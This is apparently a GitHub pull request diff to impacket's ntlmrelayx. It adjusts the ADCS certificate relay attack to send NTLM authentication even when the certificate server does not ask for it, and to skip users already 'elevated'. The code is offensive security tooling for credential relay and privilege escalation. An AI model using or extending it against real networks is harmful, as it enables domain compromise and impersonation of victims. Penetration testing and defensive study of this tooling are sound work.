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Fix when cert server does not request NTLM auth #1

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Aug 15, 2021
Merged

Fix when cert server does not request NTLM auth #1

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2b74938
Send auth even if not requested by cert server
Tw1sm Aug 4, 2021
ed9fd5a
prevent replay of already attacked clients
Tw1sm Aug 4, 2021
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7 changes: 7 additions & 0 deletions impacket/examples/ntlmrelayx/attacks/httpattack.py
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Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,9 @@
from impacket.examples.ntlmrelayx.attacks import ProtocolAttack

PROTOCOL_ATTACK_CLASS = "HTTPAttack"
# cache already attacked clients
ELEVATED = []


class HTTPAttack(ProtocolAttack):
"""
Expand Down Expand Up @@ -62,6 +65,9 @@ def adcs_relay_attack(self):
key = crypto.PKey()
key.generate_key(crypto.TYPE_RSA, 4096)

if self.username in ELEVATED:
print('[*] Skipping user %s since attack was already performed' % self.username)
return
csr = self.generate_csr(key, self.username)
csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+")
print("[*] CSR generated!")
Expand All @@ -77,6 +83,7 @@ def adcs_relay_attack(self):
print("[*] Getting certificate...")

self.client.request("POST", "/certsrv/certfnsh.asp", body=data, headers=headers)
ELEVATED.append(self.username)
response = self.client.getresponse()

if response.status != 200:
Expand Down
5 changes: 4 additions & 1 deletion impacket/examples/ntlmrelayx/clients/httprelayclient.py
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Expand Up @@ -63,7 +63,10 @@ def sendNegotiate(self,negotiateMessage):
return False
except (KeyError, TypeError):
LOG.error('No authentication requested by the server for url %s' % self.targetHost)
return False
if self.serverConfig.isADCSAttack:
LOG.info('IIS cert server may allow anonymous authentication, sending NTLM auth anyways')
else:
return False

#Negotiate auth
negotiate = base64.b64encode(negotiateMessage).decode("ascii")
Expand Down